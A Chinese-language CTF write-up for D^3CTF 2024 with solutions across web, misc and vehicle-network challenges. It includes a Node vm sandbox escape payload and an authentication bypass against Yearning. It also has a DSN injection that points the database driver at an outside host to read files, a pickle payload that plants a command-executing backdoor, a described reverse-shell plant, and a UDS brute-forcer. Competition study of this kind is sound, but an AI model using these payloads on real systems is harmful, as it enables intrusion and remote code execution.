D^3CTF 2024 By W&M

·
Write - Up no tag April 29, 2024
  • WEB
    • MoonBox
    • stack_overflow
    • Doctor
    • d3pythonhttp
  • Misc
    • O!!!SPF!!!!!! Enhanced
    • Baldur's Gate 3 Complete Spell List
  • IOV
    • D3_car 1
    • D3 car 2
    • D3 car 3
  • Pwn
    • PwnShell
      • Exp
    • Write flag where
    • D3BabyEscape
    • d3note
      • Exp
  • Crypto
    • d3matrix2
    • S0DH
    • sym_signin
  • Reverse
    • RandomVM
    • ezjunk
    • forest

WEB

MoonBox

img

getRemoteAgentStartCommand

img

通过ps -ef和上面的分析不难发现,运行流量录制实际上是在远程服务器ssh执行了

bash -c 'curl -o sandboxDownLoad.tar http://127.0.0.1:8080/api/agent/downLoadSandBoxZipFile && curl -o moonboxDownLoad.tar http://127.0.0.1:8080/api/agent/downLoadMoonBoxZipFile && rm -fr ~/sandbox && rm -fr ~/.sandbox-module &&  tar  -xzf sandboxDownLoad.tar -C ~/ >> /dev/null && tar  -xzf moonboxDownLoad.tar -C ~/ >> /dev/null && dos2unix ~/sandbox/bin/sandbox.sh && dos2unix ~/.sandbox-module/bin/start-remote-agent.sh && rm -f moonboxDownLoad.tar sandboxDownLoad.tar && sh ~/.sandbox-module/bin/start-remote-agent.sh moon-box-web rc_id_df0dab78e4bbd2603a1b4e4e45cd0d08%26http%3A%2F%2F127.0.0.1%3A8080%26OFF%26OFF'

所以替换moonbox里面的start-remote-agent.sh脚本就可以在远程服务器上进行rce。

Dockerfile里给出了root用户默认密码 root:123456,通过docker机器名moonbox-server可以访问内网的docker-moonbox-server容器,刚好这台容器有sshd,有root默认密码,并且有flag。

新建 ".sandbox-module\bin\start-remote-agent.sh" 写#!/bin/sh 反弹shell代码

新建 "sandbox\bin\sandbox.sh" 写 #!/bin/sh (否则dos2unix报错)

给可执行权限

tar -zcf moonbox.tar .sandbox-module
tar -zcf sandbox.tar sandbox

两个文件一起上传,运行流量录制 hostIp=moonbox-server 22 root 123456即可。

img

暂时无法在飞书文档外展示此内容

暂时无法在飞书文档外展示此内容

stack_overflow

注意到传入的参数可以是数组

img

如果args数组长度为1则不受join影响

img

据此可以闭合 js 代码,逃逸vm沙箱并执行系统命令

{"stdin":["');var exec = this.constructor.constructor;var require = exec('return process.mainModule.constructor._load')();require('child_process').execSync(\"cat /flag\").toString(); //"]}

返回结果如下

{"stdout":["Starting Conversion...","Your input is:","');var exec = this.constructor.constructor;var require = exec('return process.mainModule.constructor._load')();require('child_process').execSync(\"cat /flag\").toString(); //","0","0","0","0","...","Ascii is:","d3ctf{43015f82fa648d2a60985b0b46f5739f0f40bc35}\n"],"result":["Ascii is:","d3ctf{43015f82fa648d2a60985b0b46f5739f0f40bc35}\n"],"status":["ok"]}

Doctor

https://yearning.io/

版本3.1.7

https://github.com/cookieY/Yearning/releases

是最新版

默认账号/密码:admin/Yearning_admin

远程不是默认密码,鉴权用的是JWT,远程也设置了secret-key,不是默认的

https://github.com/cookieY/yee/blob/1c392ccd2d7dd7de0aa8964583ea1b2415179804/middleware/jwt.go#L82

img

如果是websocket请求,那么就直接return,不进行jwt读取。

img

  • HeaderConnection:Connection
  • HeaderUpgrade:Upgrade

加上这2个请求头后可以访问任意接口

但是不是所有接口都能正常调用,需要new(lib.Token).JwtParse(c)的接口全都会报错,因为没有赋值c.Get("auth")

审计源码可以发现一处接口

img

img

img

在此处发起mysql连接,由于gorm的驱动(底层是 https://github.com/go-sql-driver/mysql )默认是不允许任意local infile的(并且这里不可控host,如果拿到admin,可以新建数据源,就可控了),因此我们需要注入DSN参数来让它开启任意文件读取并且设置host

go-sql-driver/mysql解析dsn是以最后一个/和/左边的最后一个@解析的。 https://github.com/go-sql-driver/mysql/blob/master/dsn.go#L357

GET with body
http://47.100.57.142:30527/api/v2/fetch/fields?source_id=foo
Content-Type application/json
connection upgrade
upgrade websocket
{
    "data_base":"root:passwd@tcp(1.1.1.1:3306)/foo?allowAllFiles=true&",
    "table":"test"
}

img

最终loadlocalfile就可以读取到flag文件。

d3pythonhttp

暂时无法在飞书文档外展示此内容

这道题的key其实压根没啥

img

此处我们可以通过修改kid让他获取不到key,导致key默认为空即可。

img

题目在对于Chunked模式存在解析差异,当我们将chunked改为部分大写的话,此时web.py和Flask会存在解析差异

此时Flask会识别为chunked模式,web.py则不会

img

Web.py中要求全部是小写,因此到了后端服务获取到的就是根据Content-length截取的数据了,因此让请求头为

Transfer-Encoding: CHunked,然后Content-length关闭自动计算长度,我们手动截取payload(opcode的base64长度)

img

这样就可以让backend去加载opcode了

import pickle
import os
import builtins

code = '''

def Backdoor(handler):
    import os
    ctx = __import__('web').ctx
    print(ctx.env)
    command = ctx.env.get('HTTP_COMMAND',None)
    if command:
        command_output = os.popen(command).read()
        return command_output
    return handler()

app.add_processor(Backdoor)
'''.strip()

class Exploit:
    def __reduce__(self):
        cmd = (code,)
        return (builtins.exec, (cmd,))

pickled_data = pickle.dumps(Exploit(), protocol=0)
import base64
print(base64.b64encode(pickled_data).decode())

加一个恶意的Processer也就是filter进去就行。

img

Misc

O!!!SPF!!!!!! Enhanced

通过traceroute获取路由表

$ traceroute6 2a13:b487:11aa::d3:c7f:2f -m 120
traceroute to 2a13:b487:11aa::d3:c7f:2f (2a13:b487:11aa::d3:c7f:2f), 120 hops max, 80 byte packets
 1  * * *
 2  240e:2e:8200:1a33::2 (240e:2e:8200:1a33::2)  38.994 ms  38.793 ms  38.499 ms
 3  240e:2e:8000:fa07::2 (240e:2e:8000:fa07::2)  39.449 ms 240e:2e:8000:fa05::2 (240e:2e:8000:fa05::2)  39.192 ms 240e:2e:8000:fa04::2 (240e:2e:8000:fa04::2)  39.690 ms
 4  240e::1:21:61:5002 (240e::1:21:61:5002)  52.325 ms * *
 5  * * 240e:0:a::c9:5530 (240e:0:a::c9:5530)  48.723 ms
 6  240e:2:a::c9:27b4 (240e:2:a::c9:27b4)  48.181 ms  44.765 ms  44.775 ms
 7  * * 240e:0:a::cb:3ab1 (240e:0:a::cb:3ab1)  242.473 ms
 8  * * *
 9  * * *
10  e0-34.core1.las1.he.net (2001:470:0:4ba::2)  179.131 ms  185.710 ms  181.875 ms
11  frantech-solutions.e0-25.core1.las1.he.net (2001:470:1:964::2)  206.487 ms  205.935 ms  205.816 ms
12  2605:6400:20:1ac::d3:c7f (2605:6400:20:1ac::d3:c7f)  189.175 ms  191.818 ms  224.935 ms
13  2a13:b487:11aa::d3:c7f:1 (2a13:b487:11aa::d3:c7f:1)  189.480 ms  191.948 ms  192.549 ms
14  2a13:b487:11aa::d3:c7f:2 (2a13:b487:11aa::d3:c7f:2)  214.895 ms  207.052 ms  211.204 ms
15  2a13:b487:11aa::d3:c7f:3 (2a13:b487:11aa::d3:c7f:3)  170.005 ms  179.458 ms  180.177 ms
16  2a13:b487:11aa::d3:c7f:4 (2a13:b487:11aa::d3:c7f:4)  182.738 ms  180.491 ms  212.327 ms
17  2a13:b487:11aa::d3:c7f:5 (2a13:b487:11aa::d3:c7f:5)  201.746 ms  213.653 ms  214.365 ms
18  2a13:b487:11aa::d3:c7f:6 (2a13:b487:11aa::d3:c7f:6)  182.181 ms  170.301 ms  175.494 ms
19  2a13:b487:11aa::d3:c7f:7 (2a13:b487:11aa::d3:c7f:7)  202.041 ms  210.187 ms  210.574 ms
20  2a13:b487:11aa::d3:c7f:8 (2a13:b487:11aa::d3:c7f:8)  206.088 ms  185.192 ms  188.933 ms
21  2a13:b487:11aa::d3:c7f:9 (2a13:b487:11aa::d3:c7f:9)  193.236 ms  191.047 ms  174.317 ms
22  2a13:b487:11aa::d3:c7f:a (2a13:b487:11aa::d3:c7f:a)  176.086 ms  204.450 ms  188.827 ms
23  2a13:b487:11aa::d3:c7f:b (2a13:b487:11aa::d3:c7f:b)  173.265 ms  182.065 ms  181.870 ms
24  2a13:b487:11aa::d3:c7f:c (2a13:b487:11aa::d3:c7f:c)  205.779 ms  242.205 ms  226.406 ms
25  2a13:b487:11aa::d3:c7f:d (2a13:b487:11aa::d3:c7f:d)  188.298 ms  188.199 ms  191.863 ms
26  2a13:b487:11aa::d3:c7f:e (2a13:b487:11aa::d3:c7f:e)  189.877 ms  169.824 ms  180.773 ms
27  2a13:b487:11aa::d3:c7f:f (2a13:b487:11aa::d3:c7f:f)  194.115 ms  171.975 ms  169.966 ms
28  2a13:b487:11aa::d3:c7f:10 (2a13:b487:11aa::d3:c7f:10)  177.955 ms  185.258 ms  183.112 ms
29  2a13:b487:11aa::d3:c7f:11 (2a13:b487:11aa::d3:c7f:11)  173.154 ms  176.671 ms  175.872 ms
30  2a13:b487:11aa::d3:c7f:12 (2a13:b487:11aa::d3:c7f:12)  203.909 ms  219.166 ms  206.794 ms
31  2a13:b487:11aa::d3:c7f:13 (2a13:b487:11aa::d3:c7f:13)  194.094 ms  164.984 ms  197.654 ms
32  2a13:b487:11aa::d3:c7f:14 (2a13:b487:11aa::d3:c7f:14)  197.397 ms  187.787 ms  187.465 ms
33  2a13:b487:11aa::d3:c7f:15 (2a13:b487:11aa::d3:c7f:15)  187.879 ms  187.358 ms  190.108 ms
34  2a13:b487:11aa::d3:c7f:16 (2a13:b487:11aa::d3:c7f:16)  193.960 ms  203.633 ms  193.108 ms
35  2a13:b487:11aa::d3:c7f:17 (2a13:b487:11aa::d3:c7f:17)  179.844 ms  178.417 ms  179.055 ms
36  2a13:b487:11aa::d3:c7f:18 (2a13:b487:11aa::d3:c7f:18)  202.224 ms  201.810 ms  201.116 ms
37  2a13:b487:11aa::d3:c7f:19 (2a13:b487:11aa::d3:c7f:19)  194.834 ms  194.579 ms  167.926 ms
38  2a13:b487:11aa::d3:c7f:1a (2a13:b487:11aa::d3:c7f:1a)  186.549 ms  190.136 ms  189.931 ms
39  2a13:b487:11aa::d3:c7f:1b (2a13:b487:11aa::d3:c7f:1b)  170.428 ms  177.732 ms  169.405 ms
40  2a13:b487:11aa::d3:c7f:1c (2a13:b487:11aa::d3:c7f:1c)  173.053 ms  184.040 ms  181.430 ms
41  2a13:b487:11aa::d3:c7f:1d (2a13:b487:11aa::d3:c7f:1d)  195.218 ms  196.068 ms  207.502 ms
42  2a13:b487:11aa::d3:c7f:1e (2a13:b487:11aa::d3:c7f:1e)  210.987 ms  200.917 ms  204.374 ms
43  2a13:b487:11aa::d3:c7f:1f (2a13:b487:11aa::d3:c7f:1f)  181.858 ms  192.248 ms  214.994 ms
44  bd23ff4fb2b7f8e49200c3801151663d (2a13:b487:11aa::d3:c7f:20)  215.714 ms  215.430 ms  225.004 ms
45  0dcc848e1b075bd4dcb4fd32712559de (2a13:b487:11aa::d3:c7f:21)  225.925 ms  225.179 ms  223.555 ms
46  207bb8777d7fbedcc7e83c48c31b2bda (2a13:b487:11aa::d3:c7f:22)  227.214 ms  232.910 ms  228.555 ms
47  172602638c6a7c8fe61b4ff086c47690 (2a13:b487:11aa::d3:c7f:23)  211.496 ms  211.996 ms  211.022 ms
48  1c9ec648853b2bc316b58923505cbe6b (2a13:b487:11aa::d3:c7f:24)  210.100 ms  183.748 ms  182.589 ms
49  902c1f0809152f0a868c4cda66df19ad (2a13:b487:11aa::d3:c7f:25)  203.537 ms  206.591 ms  206.575 ms
50  d0b1da1c5e7fa0af81843735cefcf132 (2a13:b487:11aa::d3:c7f:26)  180.551 ms  181.844 ms  182.750 ms
51  4aea04f4b1076a844fbf5f69e2a7c420 (2a13:b487:11aa::d3:c7f:27)  186.703 ms  186.225 ms  184.717 ms
52  8d2dc7d91e3f6fe5ccd0fccd280aadc2 (2a13:b487:11aa::d3:c7f:28)  188.243 ms  190.001 ms  191.545 ms
53  5cd04243410e2e3372cf91a8395b4d1a (2a13:b487:11aa::d3:c7f:29)  186.298 ms  187.809 ms  201.296 ms
54  b70828d9f6a7a2aff81b0127af493d23 (2a13:b487:11aa::d3:c7f:2a)  193.706 ms  193.547 ms  192.933 ms
55  7305c7d7c018bbb1a557fee33b7372d5 (2a13:b487:11aa::d3:c7f:2b)  173.222 ms  171.981 ms  171.095 ms
56  aca7bfae5d337bdcc196e37dc363789d (2a13:b487:11aa::d3:c7f:2c)  172.570 ms  176.602 ms  175.831 ms
57  73c0791483a0b208f538892cf61fcf11 (2a13:b487:11aa::d3:c7f:2d)  191.585 ms  190.283 ms  194.728 ms
58  7d1ee65385eef03d533a94b03324bd01 (2a13:b487:11aa::d3:c7f:2e)  188.930 ms  179.592 ms  188.230 ms
59  aaf26d2a066ce6356487ead9551fda4c (2a13:b487:11aa::d3:c7f:2f)  187.688 ms  191.764 ms  187.898 ms

用下面的一大坨16进制修复Client.ovpn并且填上remote后连接

靶机在openvpn的100.64.11.2:18080

通过源码注意到 hash错了不会退出 所以直接发1个32字节的字符串,284个错误的hash,然后发个Y就行

from pwn import *

context.log_level = 'debug'

io = remote("100.64.11.2",18080)

io.send(b'a'*32)

for i in range(284):
    io.send(b'a'*32)
    _ = io.recvuntil(b'Wrong Hash')

io.sendline(b'Y')
io.interactive()

Baldur's Gate 3 Complete Spell List

从官方wiki获取所有法术的等级, 注意到有9没0,直接全数字减一然后9进制

import json
from bs4 import BeautifulSoup
import requests
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

data=[
  {
    "1": "Protection from Poison",
    "2": "Protection from Energy: Thunder",
    "3": "Soul Ascension"
  },
  { "1": "Cloud of Daggers", "2": "Blight", "3": "Aegis of the Absolute" },
  {
    "1": "Mirror Image",
    "2": "Mapped Terror: Ceremorphosis",
    "3": "Aegis of the Absolute"
  },
  { "1": "Detect Thoughts", "2": "Dimension Door", "3": "Dominate Person" },
  { "1": "Knock", "2": "Conjure Woodland Being", "3": "8" },
  { "1": "Finger of Death", "2": "Planar Binding" },
  { "1": "Planar Ally", "2": "Fanatic Retaliation" },
  { "1": "Tyrant's Bindings", "2": "Blinding Smite" },
  { "1": "Gust of Wind", "2": "Remove Curse", "3": "Aegis of the Absolute" },
  {
    "1": "Mirror Image",
    "2": "Conjure Woodland Being",
    "3": "Beckoning Darkness"
  },
  { "1": "Arcane Lock", "2": "Spiritual Weapon: Maul", "3": "8" },
  { "1": "Misty Step", "2": "Kereska's Favour", "3": "Colour Spray" },
  { "1": "Eagle's Splendour", "2": "Darkvision (spell)", "3": "8" },
  {
    "1": "Scorching Ray",
    "2": "Conjure Minor Elemental: Mud Mephits",
    "3": "8"
  },
  {
    "1": "Scorching Ray",
    "2": "Conjure Minor Elemental: Ice Mephits",
    "3": "Power Word Kill"
  },
  { "1": "Aid", "2": "Igniting Spark", "3": "Frost of Dark Winter" },
  { "1": "Lunar Flare", "2": "Stoneskin", "3": "Power Word Kill" },
  {
    "1": "Owl's Wisdom",
    "2": "Bestow Curse: Wisdom Disadvantage",
    "3": "Sunbeam"
  },
  {
    "1": "Arcane Lock",
    "2": "Bestow Curse: Charisma Disadvantage",
    "3": "Glyph of Warding: Detonation"
  },
  { "1": "Ray of Enfeeblement", "2": "Fire Shield: Warm", "3": "Enthrall" },
  { "1": "Enthrall", "2": "Prayer of Healing", "3": "8" },
  {
    "1": "Pass Without Trace",
    "2": "Flame Strike",
    "3": "Conjure Minor Elemental: Ice Mephits"
  },
  { "1": "Conjure Elemental: Fire Myrmidon", "2": "Phantasmal Force" },
  { "1": "Bear's Endurance", "2": "Counterspell", "3": "Hex (Intelligence)" },
  { "1": "Darkness", "2": "Mark of Putrefaction", "3": "Hordestrike" },
  { "1": "Silence", "2": "Banishment", "3": "Rays of Fire" },
  { "1": "Hellfire Orb", "2": "Vampiric Touch" },
  { "1": "8", "2": "Pierce the Weak" },
  { "1": "Prayer of Healing", "2": "Fox's Cunning", "3": "8" },
  { "1": "Aegis of the Absolute", "2": "Faithwarden's Vines" },
  { "1": "Cloud of Daggers", "2": "Hex (Intelligence)", "3": "Move Moonbeam" },
  { "1": "Silvered Bulwark", "2": "Withering Touch" },
  {
    "1": "Branding Smite (Ranged)",
    "2": "Elemental Weapon: Lightning",
    "3": "Sleep"
  },
  { "1": "Power Word Kill", "2": "Healing Word" },
  { "1": "Aegis of the Absolute", "2": "Harm" },
  { "1": "Finger of Death", "2": "Divine Smite" },
  { "1": "Power Word Kill", "2": "Conjure Elemental" },
  {
    "1": "Melf's Acid Arrow",
    "2": "Conjure Elemental: Fire Elemental",
    "3": "Conjure Elemental: Earth Elemental"
  },
  { "1": "Finger of Death", "2": "Fire Shield" },
  {
    "1": "Fox's Cunning",
    "2": "Castigate Heartform",
    "3": "Teleport to Submersible"
  },
  { "1": "Power Word Kill", "2": "Banishing Smite (Melee)" },
  {
    "1": "Mirror Image",
    "2": "Death Ward",
    "3": "Bestow Curse: Attack Disadvantage"
  },
  { "1": "8", "2": "Stoneskin" },
  { "1": "Reduce", "2": "Banishing Smite (Ranged)", "3": "Darkness" },
  { "1": "Moonbeam", "2": "Fear", "3": "Disguise Self: Femme Dwarf" },
  { "1": "Heal", "2": "Finger of Death" },
  {
    "1": "Heat Metal: Reapply Damage",
    "2": "Hail of Thorns",
    "3": "Fleeting Dream"
  },
  { "1": "Knock", "2": "Dominate Beast", "3": "Perturbing Visage" },
  { "1": "Invisibility", "2": "Darkness", "3": "Aegis of the Absolute" },
  {
    "1": "Spiritual Weapon: Greatsword",
    "2": "Tasha's Hideous Laughter",
    "3": "Finger of Death"
  },
  { "1": "Web", "2": "Bestow Curse: Dread", "3": "Chromatic Orb: Cold" },
  { "1": "Shatter", "2": "Perturbing Visage", "3": "Hex" },
  {
    "1": "Ray of Enfeeblement",
    "2": "Bludgeon the Weak",
    "3": "Power Word Kill"
  },
  { "1": "Disintegrate", "2": "Otiluke's Freezing Sphere" },
  { "1": "Aegis of the Absolute", "2": "Eyebite: Sickened" },
  { "1": "Rays of Fire", "2": "Terrifying Visage", "3": "Darkness" },
  { "1": "Power Word Kill", "2": "8" },
  {
    "1": "Pass Without Trace",
    "2": "Disguise Self: Masc Strong Human",
    "3": "Circle of Death"
  },
  { "1": "Branding Smite (Melee)", "2": "Fireball", "3": "Incinerate" },
  { "1": "Diabolic Chains", "2": "8" },
  { "1": "Power Word Kill", "2": "Arcane Gate" },
  { "1": "Aegis of the Absolute", "2": "Disguise Self: Femme Githyanki" },
  {
    "1": "Darkvision (spell)",
    "2": "Gaseous Form",
    "3": "Sethan: Spiritual Greataxe"
  },
  {
    "1": "Branding Smite (Melee)",
    "2": "Polymorph",
    "3": "See Invisibility (Spell)"
  },
  {
    "1": "Bull's Strength",
    "2": "Bestow Curse: Wisdom Disadvantage",
    "3": "Tyr's Protection"
  },
  { "1": "Flesh to Stone", "2": "Conjure Elemental: Fire Myrmidon" },
  { "1": "Hold Person", "2": "Flame of Wrath", "3": "8" },
  { "1": "Owl's Wisdom", "2": "Dethrone", "3": "Barkskin" },
  { "1": "Phantasmal Force", "2": "Web", "3": "Reapply Hunter's Mark" },
  {
    "1": "Spiritual Weapon: Trident",
    "2": "Bone-shaking Thunder",
    "3": "Blindness"
  },
  { "1": "Magic Weapon", "2": "Elemental Retort", "3": "Grasping Vine" },
  { "1": "Enlarge", "2": "Glyph of Warding: Detonation", "3": "Harm" },
  { "1": "Spiritual Weapon: Spear", "2": "Lunar Flare", "3": "Healing Word" },
  { "1": "Lunar Flare", "2": "Destructive Wave", "3": "Destructive Wave" },
  { "1": "Arcane Gate", "2": "Aegis of the Absolute" },
  {
    "1": "Silence",
    "2": "Animate Dead: Flying Ghoul",
    "3": "Fanatic Retaliation"
  },
  {
    "1": "Move Moonbeam",
    "2": "Protection from Poison",
    "3": "Aegis of the Absolute"
  },
  { "1": "Rays of Fire", "2": "Conjure Minor Elemental", "3": "Invisibility" },
  { "1": "Spiritual Weapon: Spear", "2": "Elemental Age", "3": "Shar's Aegis" },
  { "1": "Finger of Death", "2": "8" }
]

headers = {
    "Cookie": "bg3wikimwuser-sessionId=88b572d55d3d20ce75fc",
    "If-Modified-Since": "Thu, 25 Apr 2024 12:48:37 GMT",
    "Connection": "close",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
}
for dic in data:
    tmp = ''
    for spell in dic.values():
        if spell != '8':
            url = f"https://bg3.wiki/wiki/{spell}"
            response = requests.get(url=url,headers=headers,verify=False).text
            pattern = r'Level (\d)'
            match = re.search(pattern, response)

            level = match.group(1)
            tmp+=str(int(level)-1)
        else:
            tmp+=str(int(spell)-1)
    print(chr(int(tmp,9)),end='')

# https://koalastothemax.com/?aHR0cHM6Ly9pLnBvc3RpbWcuY2MvOVh4MHhmc2svZmxhZy5wbmc=

直接解码刮刮乐网址后面跟着的base64即可得到flag的二维码

IOV

D3_car 1

题目给两个靶机端口,

其中一个用nc访问会开启安卓模拟器,然后可以用adb connect连接另一个。(这两个端口的顺序是随机的)

可以多个人同时连接adb,但是不要多次启动安卓模拟器,靶机会爆炸

adb shell pm list packages -f 
package:/system/priv-app/D3Factory/D3Factory.apk=com.d3car.factory

暂时无法在飞书文档外展示此内容

提取oat vdex odex进行转dex操作。

https://github.com/anestisb/vdexExtractor.git

暂时无法在飞书文档外展示此内容

逆出来password是1dacdfma34560rDa 但是根本不需要

img

有intent filter的activity 默认exported=true 除非强制设置exported=false

adb shell am start -n com.d3car.factory/.PwdAuthActivity
adb shell am start -n com.d3car.factory/.FactoryActivity

img

img

它的后门是开一个tcpdump

img

D3 car 2

ps -ef
root          1459     1 0 09:57 ?        00:00:00 mqttserv

有个mqtt客户端服务 /system/bin/mqttserv 没权限读

img

用backdoor里的pcap可以看到MQTT用户名,密码

暂时无法在飞书文档外展示此内容

转发访问远程mqtt服务端

先给他扔个socat上去 https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat

转发到127.0.0.1:1883

adb shell 'chmod 777 /data/local/tmp/socat'
adb shell 'nohup /data/local/tmp/socat tcp-listen:1883,fork tcp-connect:192.168.27.16:1883' &
adb forward tcp:1883 tcp:1883

Mqtt 用户名abmaM_kcalb 密码Ya5_1_n4C_tahW

img

能收到消息

分析pcap得知,

安卓端mqttserv每隔60秒向服务端发can/514/write(两个不同的包)

022701ffffffffff 
0527022dcf28ffff

本地连接mqtt得知,

服务端每隔60秒下发can/514/read(两个相同的包 b'03,7f,27,7f,ff,ff,ff,ff')

搜索can相关车联网协议,使用bytes.fromhex('02 10 02 AA AA AA AA AA')重放得知,can服务器运行的是uds协议,'022701ffffffffff'和'0527022dcf28ffff'是鉴权请求,b'03,7f,27,7f,ff,ff,ff,ff'是服务器反馈当前session模式下不需要鉴权

https://blog.csdn.net/Breeze_CAT/article/details/106156567

uds的所有服务码

https://uds.readthedocs.io/en/stable/pages/knowledge_base/diagnostic_message.html#knowledge-base-sid

uds的 所有错误码 返回是XX 7f就是错误

https://uds.readthedocs.io/en/stable/pages/knowledge_base/diagnostic_message.html#negative-response-code

https://automotive.wiki/index.php/ISO_14229

切换session到03再进行鉴权,

这样发可以得到鉴权成功反馈。

client.publish("can/514/write", bytes.fromhex('02 10 03 AA AA AA AA AA'))
client.publish("can/514/write", bytes.fromhex('022701ffffffffff'))
client.publish("can/514/write", bytes.fromhex('0527022dcf28ffff'))

测试下来服务器实现了的功能,没实现的要么没反应要么直接崩溃,崩溃的结果是再次发送上面三条指令得不到鉴权成功反馈。靶机比较坑,如果崩溃了可能需要重开靶机。

0x10Diagnostic Session Control 1
0x22Read Data By Identifier 1
0x27Security Access 1
0x31Routine Control 1
0x3ETester Present 1

爆破服务器得到的结果,如果爆破导致服务器崩溃了就需要重开靶机

爆破ReadDataByIdentifier 范围0000-ffff 
读取f189得到
发送:client.publish("can/514/write", bytes.fromhex('03 22 f1 89 00 00 00 00'))
recv: 10,12,62,f1,89,31,31,2e
recv: 21,34,30,35,2e,31,30,2e
recv: 22,34,2e,32,33,33,ff,ff
处理后的结果 F189->11.405.10.4.233

爆破Routine Control 范围0000-ffff 
启动并且读取结果0886例程得到
发送:client.publish("can/514/write", bytes.fromhex('06 31 01 08 86 01 01 01'))
client.publish("can/514/write", bytes.fromhex('04 31 03 08 86 01 01 01'))
收到消息: 04,71,08,86,01,ff,ff,ff from topic: can/514/read
10,19,71,08,86,66,6c,61
21,67,7b,66,6c,61,67,5f
22,69,73,5f,6e,6f,74,5f
23,68,65,72,65,7d,ff,ff
处理后的结果
0886 flag{flag_is_not_here}

爆破can/XX/read 范围1-10000得到
发送:"can/%d/write",fromHex("021003AAAAAAAAAA")
Received message: 06,50,03,00,32,01,f4,ff from topic: can/514/read
Received message: 06,50,03,00,32,01,f4,ff from topic: can/710/read
Received message: 06,50,03,00,32,01,f4,ff from topic: can/711/read
Received message: 06,50,03,00,32,01,f4,ff from topic: can/715/read
Received message: 06,50,03,00,32,01,f4,ff from topic: can/716/read
Received message: 06,50,03,00,32,01,f4,ff from topic: can/721/read
can/514/read的鉴权种子固定是b'\x11\x45\x14',其它的鉴权种子不固定。

爆破的代码,用CGO_ENABLED=0 go build main.go && adb push main /data/local/tmp/ 放到远程安卓靶机去运行,不要端口转发运行,会跑到猴年马月

这里仅给出爆破ReadDataByIdentifier 范围0000-ffff的代码,由于篇幅原因,爆破Routine Control和爆破can/ID/write的代码省略,本质都一样。

package main

import (
    "encoding/hex"
    "fmt"
    "math/rand"
    "os"
    "strconv"
    "strings"

    mqtt "github.com/eclipse/paho.mqtt.golang"
)

var modeSwitchSuccessResponse = "06,50,03,00,32,01,f4,ff"
var authSuccessResponse = "02,67,02,ff,ff,ff,ff,ff"

var invalidAuthResponse = "03,7f,27,7f,ff,ff,ff,ff"

var invalidReadResponse = "03,7f,22,31,ff,ff,ff,ff"
var messagePubHandler mqtt.MessageHandler = func(client mqtt.Client, msg mqtt.Message) {

    strMessage := string(msg.Payload())
    if isWaitingAuth && strings.EqualFold(strMessage, authSuccessResponse) {
        isWaitingAuth = false
        waitingPipe <- true
        return
    }
    if strings.EqualFold(strMessage, modeSwitchSuccessResponse) {
        return
    }
    if strings.EqualFold(strMessage, invalidAuthResponse) {
        return
    }
    // from android bot, ignore
    if strings.HasPrefix(strMessage, "05,67,01,") {
        return
    }
    if strings.HasPrefix(strMessage, "02,67,02,") {
        return
    }
    // we received a not useful message
    if strings.EqualFold(strMessage, invalidReadResponse) {
        waitingPipe <- true
        return
    }
    // we received a useful message
    fmt.Printf("\nReceived message: %s from topic: %s\n\n", msg.Payload(), msg.Topic())
    // write it into file
    f, err := os.OpenFile("output.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
    if err == nil {
        defer f.Close()
        fmt.Fprintf(f, "Received message: %s from topic: %s\n", msg.Payload(), msg.Topic())
    }
    waitingPipe <- true
}

var connectHandler mqtt.OnConnectHandler = func(client mqtt.Client) {
    fmt.Println("Connected")

}

var isWaitingAuth bool = false

func bruteOneByte(client mqtt.Client, data int) error {
    hexString := fmt.Sprintf("0322%04xaaaaaaaa", data)
    // fmt.Println(hexString)
    bytes := fromHex(hexString)
    token := client.Publish("can/514/write", 0, false, bytes)
    if token.Wait() && token.Error() != nil {
        return token.Error()
    }
    return nil
}

var connectLostHandler mqtt.ConnectionLostHandler = func(client mqtt.Client, err error) {
    fmt.Printf("Connect lost: %v", err)
    os.Exit(1)
}

func fromHex(s string) []byte {
    result, err := hex.DecodeString(s)
    if err != nil {
        panic(err)
    }
    return result
}

var auth1 = fromHex("021003AAAAAAAAAA")
var auth2 = fromHex("0527022dcf28ffff")

func auth(client mqtt.Client) error {
    isWaitingAuth = true
    token := client.Publish("can/514/write", 0, false, auth1)
    if token.Wait() && token.Error() != nil {
        return token.Error()
    }
    token = client.Publish("can/514/write", 0, false, auth2)
    if token.Wait() && token.Error() != nil {
        return token.Error()
    }
    return nil
}

var waitingPipe = make(chan bool)

func main() {
    var broker string
    var port int
    if _, err := os.Stat("./main.go"); err == nil {
        broker = "172.19.176.1"
        port = 1884
    } else {
        broker = "192.168.27.16"
        port = 1883
    }
    opts := mqtt.NewClientOptions()
    opts.AddBroker(fmt.Sprintf("tcp://%s:%d", broker, port))
    rand := rand.Intn(1000)
    randstr := strconv.Itoa(rand)
    opts.SetClientID("go_mqtt_client_" + randstr)
    opts.SetUsername("abmaM_kcalb")
    opts.SetPassword("Ya5_1_n4C_tahW")
    opts.SetDefaultPublishHandler(messagePubHandler)
    opts.OnConnect = connectHandler
    opts.OnConnectionLost = connectLostHandler
    client := mqtt.NewClient(opts)
    if token := client.Connect(); token.Wait() && token.Error() != nil {
        panic(token.Error())
    }
    if token := client.Subscribe("#", 0, nil); token.Wait() && token.Error() != nil {
        panic(token.Error())
    }
    err := auth(client)
    if err != nil {
        panic(err)
    }

    <-waitingPipe
    fmt.Println("First Auth success")
    for i := 0; i <= 0xffff; i++ {
        err := bruteOneByte(client, i)
        if err != nil {
            panic(err)
        }
        <-waitingPipe
        if i%100 == 0 {
            auth(client)
            <-waitingPipe
        }
        if i%(0x1000/2) == 0 {
            fmt.Printf("Progress: %04x\n", i)
        }
    }
    fmt.Println("done")
    select {}
}

上传fscan和nmap扫描端口可以得到,内网有个http服务,给了一大堆dll

img

socat端口转发到本地并且使用wget -r http://127.0.0.1:8000 可以下载所有的dll。

逆向得知,每一个dll里都有一个rc4加密函数,大部分的dll除了rc4加密密钥以外完全一样,可以直接写脚本提取0x17800固定位置的加密密钥。

import glob
dlls = glob.glob('dlls/*/*/*.dll')
import os
data = {}
for dll in dlls:
    try:
        dllname = dll.split(os.path.sep)[-2]
        # print(dllname)
        with open(dll,"rb") as f:
            # sanity check
            f.seek(0x17800-1)
            assert f.read(1) == b'\x00',dllname
            key = f.read(8)
            assert f.read(1) == b'\x00',dllname
            data[dllname] = key.hex()
    except:
        print(dllname,"is not uniformed!")
        continue
import json
